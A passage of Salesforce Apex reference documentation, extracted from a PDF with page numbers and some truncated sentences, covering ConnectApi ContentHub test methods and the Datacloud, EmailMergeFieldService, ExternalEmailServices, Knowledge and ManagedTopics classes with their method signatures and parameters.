getAllowedItemTypes(repositoryId, repositoryFolderId) method is called in a test context. Use the method
with the same parameters or you receive an exception.
API Version
40.0
Signature
public static Void setTestGetAllowedItemTypes(String repositoryId, String
repositoryFolderId, ConnectApi.ContentHubAllowedItemTypeCollection result)
Parameters
repositoryId
Type: String
repositoryFolderId
Type: String
result
Return Value
Type: Void
SEE ALSO:
1388
setTestGetAllowedItemTypes(repositoryId, repositoryFolderId, filter, result)

getAllowedItemTypes(repositoryId, repositoryFolderId, filter) method is called in a test context. Use
API Version
40.0
Signature
public static Void setTestGetAllowedItemTypes(String repositoryId, String
repositoryFolderId, ConnectApi.ContentHubItemType filter,
ConnectApi.ContentHubAllowedItemTypeCollection result)
Parameters
repositoryId
Type: String
repositoryFolderId
Type: String
filter
result
Return Value
Type: Void
SEE ALSO:
1389
setTestGetAllowedItemTypes(communityId, repositoryId, repositoryFolderId, result)

getAllowedItemTypes(communityId, repositoryId, repositoryFolderId) method is called in a test
API Version
40.0
Signature
public static Void setTestGetAllowedItemTypes(String communityId, String repositoryId,
String repositoryFolderId, ConnectApi.ContentHubAllowedItemTypeCollection result)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetAllowedItemTypes(communityId, repositoryId, repositoryFolderId, filter,

result)
getAllowedItemTypes(communityId, repositoryId, repositoryFolderId, filter) method is called
1390
API Version
40.0
Signature
public static Void setTestGetAllowedItemTypes(String communityId, String repositoryId,
String repositoryFolderId, ConnectApi.ContentHubItemType filter,
ConnectApi.ContentHubAllowedItemTypeCollection result)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
filter
result
Return Value
Type: Void
SEE ALSO:
setTestGetFilePreview(repositoryId, repositoryFileId, formatType, result)

Registers a ConnectApi.FilePreview object to be returned when the matching getFilePreview(repositoryId,
repositoryFileId, formatType) method is called in a test context. Use the method with the same parameters or you
1391
API Version
40.0
Signature
public static Void setTestGetFilePreview(String repositoryId, String repositoryFileId,
ConnectApi.FilePreviewFormat formatType, ConnectApi.FilePreview result)
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
formatType
result
Return Value
Type: Void
SEE ALSO:
setTestGetFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber,

endPageNumber, result)
Registers a ConnectApi.FilePreview object to be returned when the matching getFilePreview(repositoryId,
repositoryFileId, formatType, startPageNumber, endPageNumber) method is called in a test context. Use
1392
API Version
40.0
Signature
public static Void setTestGetFilePreview(String repositoryId, String repositoryFileId,
ConnectApi.FilePreviewFormat formatType, Integer startPageNumber, Integer endPageNumber,
ConnectApi.FilePreview result)
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
formatType
startPageNumber
Type: Integer
endPageNumber
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
getFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber)
1393
setTestGetFilePreview(communityId, repositoryId, repositoryFileId, formatType,

result)
Registers a ConnectApi.FilePreview object to be returned when the matching getFilePreview(communityId,
repositoryId, repositoryFileId, formatType) method is called in a test context. Use the method with the same
API Version
40.0
Signature
public static Void setTestGetFilePreview(String communityId, String repositoryId, String
repositoryFileId, ConnectApi.FilePreviewFormat formatType, ConnectApi.FilePreview
result)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
formatType
result
1394
Return Value
Type: Void
SEE ALSO:
setTestGetFilePreview(communityId, repositoryId, repositoryFileId, formatType,

startPageNumber, endPageNumber, result)
Registers a ConnectApi.FilePreview object to be returned when the matching getFilePreview(communityId,
repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber) method is called
API Version
40.0
Signature
public static Void setTestGetFilePreview(String communityId, String repositoryId, String
repositoryFileId, ConnectApi.FilePreviewFormat formatType, Integer startPageNumber,
Integer endPageNumber, ConnectApi.FilePreview result)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
formatType
1395
startPageNumber
Type: Integer
endPageNumber
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
getFilePreview(communityId, repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber)
setTestGetItemType(repositoryId, repositoryItemTypeId, result)

Registers a ConnectApi.ContentHubItemTypeDetail object to be returned when the matching
getItemType(repositoryId, repositoryItemTypeId) method is called in a test context. Use the method with the
same parameters or you receive an exception.
API Version
40.0
Signature
public static Void setTestGetItemType(String repositoryId, String repositoryItemTypeId,
ConnectApi.ContentHubItemTypeDetail result)
Parameters
repositoryId
Type: String
Type: String
result
1396
Return Value
Type: Void
SEE ALSO:
setTestGetItemType(communityId, repositoryId, repositoryItemTypeId, result)

Registers a ConnectApi.ContentHubItemTypeDetail object to be returned when the matching
getItemType(communityId, repositoryId, repositoryItemTypeId) method is called in a test context. Use
API Version
40.0
Signature
public static Void setTestGetItemType(String communityId, String repositoryId, String
repositoryItemTypeId, ConnectApi.ContentHubItemTypeDetail result)
Parameters
communityId
Type: String
repositoryId
Type: String
Type: String
result
Return Value
Type: Void
SEE ALSO:
1397
setTestGetPreviews(repositoryId, repositoryFileId, result)

Registers a ConnectApi.FilePreviewCollection object to be returned when the matching
getPreviews(repositoryId, repositoryFileId) method is called in a test context. Use the method with the same
API Version
40.0
Signature
public static Void setTestGetPreviews(String repositoryId, String repositoryFileId,
ConnectApi.FilePreviewCollection result)
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetPreviews(communityId, repositoryId, repositoryFileId, result)

Registers a ConnectApi.FilePreviewCollection object to be returned when the matching
getPreviews(communityId, repositoryId, repositoryFileId) method is called in a test context. Use the
API Version
40.0
1398
Signature
public static Void setTestGetPreviews(String communityId, String repositoryId, String
repositoryFileId, ConnectApi.FilePreviewCollection result)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetRepositories(result)
Registers a ConnectApi.ContentHubRepositoryCollection object to be returned when the matching
getRepositories() method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
40.0
Signature
public static Void setTestGetRepositories(ConnectApi.ContentHubRepositoryCollection
result)
Parameters
result
1399
Return Value
Type: Void
SEE ALSO:
getRepositories()
setTestGetRepositories(communityId, result)
Registers a getRepositories(communityId) object to be returned when the matching
ConnectApi.ContentHubRepositoryCollection method is called in a test context. Use the method with the same
API Version
40.0
Signature
public static Void setTestGetRepositories(String communityId,
ConnectApi.ContentHubRepositoryCollection result)
Parameters
communityId
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetRepositories(pageParam, pageSize, result)

getRepositories(pageParam, pageSize) method is called in a test context. Use the method with the same parameters
1400
API Version
40.0
Signature
public static Void setTestGetRepositories(Integer pageParam, Integer pageSize,
ConnectApi.ContentHubRepositoryCollection result)
Parameters
pageParam
Type: Integer
pageSize
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
setTestGetRepositories(communityId, pageParam, pageSize, result)

getRepositories(communityId, pageParam, pageSize) method is called in a test context. Use the method with
API Version
40.0
Signature
public static Void setTestGetRepositories(String communityId, Integer pageParam, Integer
pageSize, ConnectApi.ContentHubRepositoryCollection result)
Parameters
communityId
Type: String
1401

pageParam
Type: Integer
pageSize
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
setTestGetRepository(repositoryId, result)
Registers a ConnectApi.ContentHubRepository object to be returned when the matching
getRepository(repositoryId) method is called in a test context. Use the method with the same parameters or you receive
an exception.
API Version
40.0
Signature
public static Void setTestGetRepository(String repositoryId,
ConnectApi.ContentHubRepository result)
Parameters
repositoryId
Type: String
result
1402
Return Value
Type: Void
SEE ALSO:
setTestGetRepository(communityId, repositoryId, result)

Registers a ConnectApi.ContentHubRepository object to be returned when the matching
getRepository(communityId, repositoryId) method is called in a test context. Use the method with the same
API Version
40.0
Signature
public static Void setTestGetRepository(String communityId, String repositoryId,
ConnectApi.ContentHubRepository result)
Parameters
communityId
Type: String
repositoryId
Type: String
result
Return Value
Type: Void
SEE ALSO:
1403
setTestGetRepositoryFile(repositoryId, repositoryFileId, result)

Registers a ConnectApi.RepositoryFileDetail object to be returned when the matching
getRepositoryFile(repositoryId, repositoryFileId) method is called in a test context. Use the method with
API Version
40.0
Signature
public static Void setTestGetRepositoryFile(String repositoryId, String repositoryFileId,
ConnectApi.RepositoryFileDetail result)
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetRepositoryFile(repositoryId, repositoryFileId,
includeExternalFilePermissionsInfo, result)
API Version
40.0
1404
Signature
public static Void setTestGetRepositoryFile(String repositoryId, String repositoryFileId,
Boolean includeExternalFilePermissionsInfo, ConnectApi.RepositoryFileDetail result)
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
Type: Boolean
result
Return Value
Type: Void
SEE ALSO:
setTestGetRepositoryFile(communityId, repositoryId, repositoryFileId, result)

getRepositoryFile(communityId, repositoryId, repositoryFileId) method is called in a test context.
Use the method with the same parameters or you receive an exception.
API Version
40.0
Signature
public static Void setTestGetRepositoryFile(String communityId, String repositoryId,
String repositoryFileId, ConnectApi.RepositoryFileDetail result)
1405
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetRepositoryFile(communityId, repositoryId, repositoryFileId,

includeExternalFilePermissionsInfo, result)
getRepositoryFile(communityId, repositoryId, repositoryFileId,
includeExternalFilePermissionsInfo) method is called in a test context. Use the method with the same parameters
API Version
40.0
Signature
public static Void setTestGetRepositoryFile(String communityId, String repositoryId,
String repositoryFileId, Boolean includeExternalFilePermissionsInfo,
Parameters
communityId
Type: String
1406
repositoryId
Type: String
repositoryFileId
Type: String
Type: Boolean
result
Return Value
Type: Void
SEE ALSO:
getRepositoryFile(communityId, repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)
setTestGetRepositoryFolder(repositoryId, repositoryFolderId, result)

Registers a ConnectApi.RepositoryFolderDetail object to be returned when the matching
getRepositoryFolder(repositoryId, repositoryFolderId) method is called in a test context. Use the method
with the same parameters or you receive an exception.
API Version
40.0
Signature
public static Void setTestGetRepositoryFolder(String repositoryId, String
repositoryFolderId, ConnectApi.RepositoryFolderDetail result)
Parameters
repositoryId
Type: String
repositoryFolderId
Type: String
1407
result
Return Value
Type: Void
SEE ALSO:
setTestGetRepositoryFolder(communityId, repositoryId, repositoryFolderId, result)

Registers a ConnectApi.RepositoryFolderDetail object to be returned when the matching
getRepositoryFolder(communityId, repositoryId, repositoryFolderId) method is called in a test
API Version
40.0
Signature
public static Void setTestGetRepositoryFolder(String communityId, String repositoryId,
String repositoryFolderId, ConnectApi.RepositoryFolderDetail result)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
result
1408
Return Value
Type: Void
SEE ALSO:
setTestGetRepositoryFolderItems(repositoryId, repositoryFolderId, result)

Registers a ConnectApi.RepositoryFolderItemsCollection object to be returned when the matching
getRepositoryFolderItems(repositoryId, repositoryFolderId) method is called in a test context. Use the
API Version
40.0
Signature
public static Void setTestGetRepositoryFolderItems(String repositoryId, String
repositoryFolderId, ConnectApi.RepositoryFolderItemsCollection result)
Parameters
repositoryId
Type: String
repositoryFolderId
Type: String
result
Return Value
Type: Void
SEE ALSO:
1409
setTestGetRepositoryFolderItems(communityId, repositoryId, repositoryFolderId,

result)
getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId) method is called in a
API Version
40.0
Signature
public static Void setTestGetRepositoryFolderItems(String communityId, String
repositoryId, String repositoryFolderId, ConnectApi.RepositoryFolderItemsCollection
result)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetRepositoryFolderItems(repositoryId, repositoryFolderId, pageParam,

pageSize, result)
getRepositoryFolderItems(repositoryId, repositoryFolderId, pageParam, pageSize) method
1410
API Version
40.0
Signature
public static Void setTestGetRepositoryFolderItems(String repositoryId, String
repositoryFolderId, Integer pageParam, Integer pageSize,
ConnectApi.RepositoryFolderItemsCollection result)
Parameters
repositoryId
Type: String
repositoryFolderId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
setTestGetRepositoryFolderItems(communityId, repositoryId, repositoryFolderId,

pageParam, pageSize, result)
getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, pageParam,
pageSize) method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
40.0
1411
Signature
public static Void setTestGetRepositoryFolderItems(String communityId, String
repositoryId, String repositoryFolderId, Integer pageParam, Integer pageSize,
ConnectApi.RepositoryFolderItemsCollection result)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFolderId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, pageParam, pageSize)
setTestUpdateRepositoryFile(communityId, repositoryId, repositoryFileId, file,

fileData, result)
updateRepositoryFile(communityId, repositoryId, repositoryFileId, file, fileData) method
API Version
40.0
1412
Signature
public static Void setTestUpdateRepositoryFile(String communityId, String repositoryId,
String repositoryFileId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput
fileData, ConnectApi.RepositoryFileDetail result)
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
file
fileData
The binary file.
result
Return Value
Type: Void
SEE ALSO:
setTestUpdateRepositoryFile(repositoryId, repositoryFileId, file, result)

updateRepositoryFile(repositoryId, repositoryFileId, file) method is called in a test context. Use the
API Version
40.0
1413
Signature
public static Void setTestUpdateRepositoryFile(String repositoryId, String
repositoryFileId, ConnectApi.ContentHubItemInput file, ConnectApi.RepositoryFileDetail
result)
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
file
result
Return Value
Type: Void
SEE ALSO:
setTestUpdateRepositoryFile(repositoryId, repositoryFileId, file, fileData, result)

updateRepositoryFile(repositoryId, repositoryFileId, file, fileData) method is called in a test
API Version
40.0
Signature
public static Void setTestUpdateRepositoryFile(String repositoryId, String
repositoryFileId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput fileData,
1414
Parameters
repositoryId
Type: String
repositoryFileId
Type: String
file
fileData
The binary file.
result
Return Value
Type: Void
SEE ALSO:
setTestUpdateRepositoryFile(communityId, repositoryId, repositoryFileId, file,

result)
updateRepositoryFile(communityId, repositoryId, repositoryFileId, file) method is called in a
API Version
40.0
Signature
public static Void setTestUpdateRepositoryFile(String communityId, String repositoryId,
String repositoryFileId, ConnectApi.ContentHubItemInput file,
1415
Parameters
communityId
Type: String
repositoryId
Type: String
repositoryFileId
Type: String
file
result
Return Value
Type: Void
SEE ALSO:
Datacloud Class
Purchase Data.com contact or company records, and retrieve purchase information.
Namespace
ConnectApi
IN THIS SECTION:
Datacloud Methods
Datacloud Methods
The following are methods for Datacloud. All methods are static.
IN THIS SECTION:
getCompaniesFromOrder(orderId, pageSize, page)
Retrieves a list of purchased company records for an order.
1416
getCompany(companyId)
Retrieves a company record from an identification number.
getContact(contactId)
Retrieves a contact record from an identification number.
getContactsFromOrder(orderId, page, pageSize)
Retrieves a list of purchased contacts for an order.
getOrder(orderId)
Retrieves purchased records for an order.
getUsage(userId)
Retrieves purchase usage information for a specific user.
postOrder(orderInput)
Purchase records that are listed in an input file.
getCompaniesFromOrder(orderId, pageSize, page)

Retrieves a list of purchased company records for an order.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.DatacloudCompanies getCompaniesFromOrder(String orderId, String
pageSize, String page)
Parameters
orderId
Type: String
A unique number that identifies an order.
page
Type: String
The number of the page that you want returned.
pageSize
Type: String
The number of companies to show on a page. The default pageSize is 25.
Return Value
Type: ConnectApi.DatacloudCompanies
1417
getCompany(companyId)
Retrieves a company record from an identification number.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.DatacloudCompany getCompany(String companyId)
Parameters
companyId
Type: String
A numeric identifier for a company in the Data.com database.
Return Value
Type: ConnectApi.DatacloudCompany
Example
ConnectApi.DatacloudCompany DatacloudCompanyRep = ConnectApi.Datacloud.getCompany(companyId);
getContact(contactId)
Retrieves a contact record from an identification number.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.DatacloudContact getContact(String contactId)
Parameters
contactId
Type: String
A unique numeric string that identifies a contact in the Data.com database.
1418
Return Value
Type: ConnectApi.DatacloudContact
Example
ConnectApi.DatacloudContact DatacloudContactRep = ConnectApi.Datacloud.getContact(contactId);
getContactsFromOrder(orderId, page, pageSize)

Retrieves a list of purchased contacts for an order.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.DatacloudContacts getContactsFromOrder(String orderId, String
page, String pageSize)
Parameters
orderId
Type: String
A unique number that’s associated with an order.
page
Type: String
The number of the page that you want returned.
pageSize
Type: String
The number of contacts to show on a page. The default pageSize is 25.
Return Value
Type: ConnectApi.DatacloudContacts
getOrder(orderId)
Retrieves purchased records for an order.
API Version
32.0
1419
Requires Chatter
No
Signature
public static ConnectApi.DatacloudOrder getOrder(String orderId)
Parameters
orderId
Type: String
A unique number that identifies an order.
Return Value
Type: ConnectApi.DatacloudOrder
Example
ConnectApi.DatacloudOrder datacloudOrderRep = ConnectApi.Datacloud.getOrder(orderId);
getUsage(userId)
Retrieves purchase usage information for a specific user.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.DatacloudPurchaseUsage getUsage(String userId)
Parameters
userId
Type: String
A unique number that identifies a single user.
Return Value
Type: ConnectApi.DatacloudPurchaseUsage
1420
Example
ConnectApi.DatacloudPurchaseUsage datacloudPurchaseUsageRep =
ConnectApi.Datacloud.getUsage(userId);
Purchase records that are listed in an input file.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.DatacloudOrder postOrder(ConnectApi.DatacloudOrderInput
orderInput)
Parameters
orderInput
Type: ConnectApi.DatacloudOrderInput
A list that contains IDs for the contacts or companies that you want to see.
Return Value
Type: ConnectApi.DatacloudOrder
Example
ConnectApi.DatacloudOrderInput inputOrder=new ConnectApi.DatacloudOrderInput();
List<String> ids=new List<String>();
ids.add('1234');
inputOrder.companyIds=ids;
ConnectApi.DatacloudOrder datacloudOrderRep = ConnectApi.Datacloud.postOrder(inputOrder);
EmailMergeFieldService Class
Extract a list of merge fields for an object. A merge field is a field you can put in an email template, mail merge template, custom link,
or formula to incorporate values from a record.
Namespace
ConnectApi
1421
EmailMergeFieldService Methods
The following are methods for EmailMergeFieldService. All methods are static.
IN THIS SECTION:
getMergeFields(objectApiNames)
Extract the merge fields for a specific object.
getMergeFields(objectApiNames)
Extract the merge fields for a specific object.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.EmailMergeFieldInfo getMergeFields(List<String> objectApiNames)
Parameters
objectApiNames
Type: List<String>
The API names for the objects being referenced.
Return Value
Type: ConnectApi.EmailMergeFieldInfo
ExternalEmailServices Class
Access information about integration with external email services, such as sending email within Salesforce through an external email
account.
Namespace
ConnectApi
External Email Services Methods

The following are methods for ExternalEmailService. All methods are static.
1422
IN THIS SECTION:
getUserOauthInfo(landingPage)
Get information about whether an external email service has been authorized to send email on behalf of a user.
getUserOauthInfo(landingPage)
Get information about whether an external email service has been authorized to send email on behalf of a user.
API Version
37.0
Requires Chatter
No
Signature
public static getUserOauthInfo(String landingPage)
Parameters
landingPage
Type: String
The landing page that the user starts on when they are finished with the OAuth authorization process.
Return Value
Type: UserOauthInfo
SEE ALSO:
Knowledge Class
Access information about trending articles in communities.
Namespace
ConnectApi
Knowledge Methods
The following are methods for Knowledge. All methods are static.
IN THIS SECTION:
getTopViewedArticlesForTopic(communityId, topicId, maxResults)
Get the top viewed articles for a topic.
1423
getTrendingArticles(communityId, maxResults)
Get trending articles for a community.
getTrendingArticlesForTopic(communityId, topicId, maxResults)
Get the trending articles for a topic in a community.
getTopViewedArticlesForTopic(communityId, topicId, maxResults)

Get the top viewed articles for a topic.
API Version
41.0

41.0
Requires Chatter
No
Signature
public static ConnectApi.KnowledgeArticleVersionCollection
getTopViewedArticlesForTopic(String communityId, String topicId, Integer maxResults)
Parameters
communityId
Type: String
topicId
Type: String
ID of the topic.
maxResults
Type: Integer
The maximum number of articles returned for each topic ID. Values can be from 1 to 25. The default value is 5.
Return Value
Type: ConnectApi.KnowledgeArticleVersionCollection
Get trending articles for a community.
1424
API Version
36.0

36.0
Requires Chatter
No
Signature
public static ConnectApi.KnowledgeArticleVersionCollection getTrendingArticles(String
communityId, Integer maxResults)
Parameters
communityId
Type: String
maxResults
Type: Integer
The maximum number of articles returned. Values can be from 0 to 25. Default is 5.
Return Value
Usage
SEE ALSO:
setTestGetTrendingArticles(communityId, maxResults, result)

Get the trending articles for a topic in a community.
API Version
36.0
1425

36.0
Requires Chatter
No
Signature
public static ConnectApi.KnowledgeArticleVersionCollection
getTrendingArticlesForTopic(String communityId, String topicId, Integer maxResults)
Parameters
communityId
Type: String
topicId
Type: String
ID of the topic.
maxResults
Type: Integer
Return Value
Usage
SEE ALSO:
setTestGetTrendingArticlesForTopic(communityId, topicId, maxResults, result)
Knowledge Test Methods

The following are the test methods for Knowledge. All methods are static.
setTestGetTrendingArticles(communityId, maxResults, result)

Registers a ConnectApi.KnowledgeVersionArticleCollection object to be returned when the matching
ConnectApi.getTrendingArticles method is called in a test context. Use the method with the same parameters or you
1426
API Version
36.0
Signature
public static Void setTestGetTrendingArticles(String communityId, Integer maxResults,
ConnectApi.KnowledgeArticleVersionCollection result)
Parameters
communityId
Type: String
maxResults
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
setTestGetTrendingArticlesForTopic(communityId, topicId, maxResults, result)

Registers a ConnectApi.KnowledgeVersionArticleCollection object to be returned when the matching
ConnectApi.getTrendingArticlesForTopic method is called in a test context. Use the method with the same parameters
API Version
36.0
Signature
public static Void setTestGetTrendingArticlesForTopic(String communityId, String topicId,
Integer maxResults, ConnectApi.KnowledgeArticleVersionCollection result)
Parameters
communityId
Type: String
1427

topicId
Type: String
ID of the topic.
maxResults
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
ManagedTopics Class
Access information about managed topics in a community. Create, delete, and reorder managed topics.
Namespace
ConnectApi
ManagedTopics Methods
The following are methods for ManagedTopics. All methods are static.
IN THIS SECTION:
createManagedTopic(communityId, recordId, managedTopicType)
Creates a managed topic of a specific type for the specified community.
createManagedTopic(communityId, recordId, managedTopicType, parentId)
Creates a child managed topic for a community.
createManagedTopicByName(communityId, name, managedTopicType)
Creates a managed topic of a specific type by name for the specified community.
createManagedTopicByName(communityId, name, managedTopicType, parentId)
Creates a child managed topic by name for a community.
deleteManagedTopic(communityId, managedTopicId)
Deletes a managed topic from the specified community.
1428
getManagedTopic(communityId, managedTopicId)
Returns information about a managed topic in a community.
getManagedTopic(communityId, managedTopicId, depth)
Returns information about a managed topic, including its parent and children managed topics, in a community.
getManagedTopics(communityId)
Returns the managed topics for the community.
getManagedTopics(communityId, managedTopicType)
Returns managed topics of a specified type for the community.
getManagedTopics(communityId, managedTopicType, depth)
Returns managed topics of a specified type, including their parent and children managed topics, in a community.
getManagedTopics(communityId, managedTopicType, recordId, depth)
Returns managed topics of a specified type, including their parent and children managed topics, that are associated with a given
topic in a community.
getManagedTopics(communityId, managedTopicType, recordIds, depth)
Returns managed topics of a specified type, including their parent and children managed topics, that are associated with topics in
a community.
reorderManagedTopics(communityId, managedTopicPositionCollection)
Reorders the relative positions of managed topics in a community.
createManagedTopic(communityId, recordId, managedTopicType)

Creates a managed topic of a specific type for the specified community.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopic createManagedTopic(String communityId, String
recordId, ConnectApi.ManagedTopicType managedTopicType)
Parameters
communityId
Type: String
recordId
Type: String
ID of the topic.
1429
managedTopicType
Type: ConnectApi.ManagedTopicType
Specify the type of managed topic.
• Featured—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.
• Navigational—Topics that display in a navigational menu in the community.
A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational
topic.
You can create up to 25 managed topics per managedTopicType.
Return Value
Type: ConnectApi.ManagedTopic
Usage
Only community managers (users with the Create and Set Up Communities or Manage Communities permission) can create managed
topics.
createManagedTopic(communityId, recordId, managedTopicType, parentId)

Creates a child managed topic for a community.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopic createManagedTopic(String communityId, String
recordId, ConnectApi.ManagedTopicType managedTopicType, String parentId)
Parameters
communityId
Type: String
recordId
Type: String
ID of the topic.
managedTopicType
Specify Navigational for the type of managed topic to create a child managed topic.
1430
topic.
parentId
Type: String
ID of the parent managed topic.
You can create up to three levels (parent, direct children, and their children) of managed topics and up to 10 children managed
topics per managed topic.
Return Value
Usage
topics.
createManagedTopicByName(communityId, name, managedTopicType)

Creates a managed topic of a specific type by name for the specified community.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopic createManagedTopicByName(String communityId,
String name, ConnectApi.ManagedTopicType managedTopicType)
Parameters
communityId
Type: String
name
Type: String
Name of the topic.
managedTopicType
Specify the type of managed topic.
1431

topic.
Return Value
Usage
topics.
createManagedTopicByName(communityId, name, managedTopicType, parentId)

Creates a child managed topic by name for a community.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopic createManagedTopicByName(String communityId,
String name, ConnectApi.ManagedTopicType managedTopicType, String parentId)
Parameters
communityId
Type: String
name
Type: String
Name of the topic.
managedTopicType
Specify Navigational for the type of managed topic to create a child managed topic.
topic.
parentId
Type: String
1432
ID of the parent managed topic.

You can create up to three levels (parent, direct children, and their children) of managed topics and up to 10 children managed
topics per managed topic.
Return Value
Usage
topics.
deleteManagedTopic(communityId, managedTopicId)
Deletes a managed topic from the specified community.
API Version
32.0
Requires Chatter
No
Signature
public static deleteManagedTopic(String communityId, String managedTopicId)
Parameters
communityId
Type: String
managedTopicId
Type: String
ID of managed topic.
Return Value
Type: Void
Usage
Only community managers (users with the Create and Set Up Communities or Manage Communities permission) can delete managed
topics.
getManagedTopic(communityId, managedTopicId)
Returns information about a managed topic in a community.
1433
API Version
32.0

32.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopic getManagedTopic(String communityId, String
managedTopicId)
Parameters
communityId
Type: String
managedTopicId
Type: String
Return Value
getManagedTopic(communityId, managedTopicId, depth)

Returns information about a managed topic, including its parent and children managed topics, in a community.
API Version
35.0

35.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopic getManagedTopic(String communityId, String
managedTopicId, Integer depth)
1434
Parameters
communityId
Type: String
managedTopicId
Type: String
depth
Type: Integer
Specify an integer 1–3. If you specify 1, the children property of the ConnectApi.ManagedTopic output class is null.
If you specify 2, the children property of the ConnectApi.ManagedTopic output class contains the direct children
managed topics, if any, of the managed topic. If you specify 3, you get the direct children managed topics and their children managed
topics if there are any. If depth isn’t specified, it defaults to 1.
Return Value
getManagedTopics(communityId)
Returns the managed topics for the community.
API Version
32.0

32.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId)
Parameters
communityId
Type: String
Return Value
Type: ConnectApi.ManagedTopicCollection
1435
getManagedTopics(communityId, managedTopicType)
Returns managed topics of a specified type for the community.
API Version
32.0

32.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId,
ConnectApi.ManagedTopicType managedTopicType)
Parameters
communityId
Type: String
managedTopicType
Specifies the type of managed topic.
topic.
Return Value
getManagedTopics(communityId, managedTopicType, depth)

Returns managed topics of a specified type, including their parent and children managed topics, in a community.
API Version
35.0

35.0
1436
Requires Chatter
No
Signature
ConnectApi.ManagedTopicType managedTopicType, Integer depth)
Parameters
communityId
Type: String
managedTopicType
topic.
depth
Type: Integer
Return Value
getManagedTopics(communityId, managedTopicType, recordId, depth)

Returns managed topics of a specified type, including their parent and children managed topics, that are associated with a given topic
in a community.
API Version
35.0–37.0
Important: In version 38.0 and later, use getManagedTopics(communityId, managedTopicType, recordIds,

depth).

35.0
1437
Requires Chatter
No
Signature
ConnectApi.ManagedTopicType managedTopicType, String recordId, Integer depth)
Parameters
communityId
Type: String
managedTopicType
topic.
recordId
Type: String
ID of the topic associated with the managed topics.
depth
Type: Integer
Return Value
getManagedTopics(communityId, managedTopicType, recordIds, depth)

Returns managed topics of a specified type, including their parent and children managed topics, that are associated with topics in a
community.
API Version
38.0

38.0
1438
Requires Chatter
No
Signature
ConnectApi.ManagedTopicType managedTopicType, List<String> recordIds, Integer depth)
Parameters
communityId
Type: String
managedTopicType
topic.
recordIds
Type: List<String>
A list of up to 100 topic IDs associated with the managed topics.
If you list more than 10 topic IDs, you can’t specify 2 or 3 for depth.
depth
Type: Integer
Return Value
reorderManagedTopics(communityId, managedTopicPositionCollection)
Reorders the relative positions of managed topics in a community.
API Version
32.0
Requires Chatter
No
1439
Signature
public static ConnectApi.ManagedTopicCollection reorderManagedTopics(String communityId,
ConnectApi.ManagedTopicPositionCollectionInput managedTopicPositionCollection)
Parameters
communityId
Type: String
managedTopicPositionCollection
Type: ConnectApi.ManagedTopicPositionCollectionInput
A collection of relative positions of managed topics. This collection can include Featured and Navigational managed
topics and doesn’t have to include all managed topics.
Return Value
Usage
Only community managers (users with the Create and Set Up Communities or Manage Communities permission) can reorder managed
topics.
You can reorder parent managed topics or children managed topics with the same parent. If you don’t include all managed topics in
the ConnectApi.ManagedTopicPositionCollectionInput, the managed topics are reordered by respecting the
positions indicated in the ConnectApi.ManagedTopicPositionCollectionInput and then by pushing down any
managed topics that aren’t included in the ConnectApi.ManagedTopicPositionCollectionInput to the next available
position.
Example
If you have these managed topics:
Managed Topic Position

ManagedTopicA 0
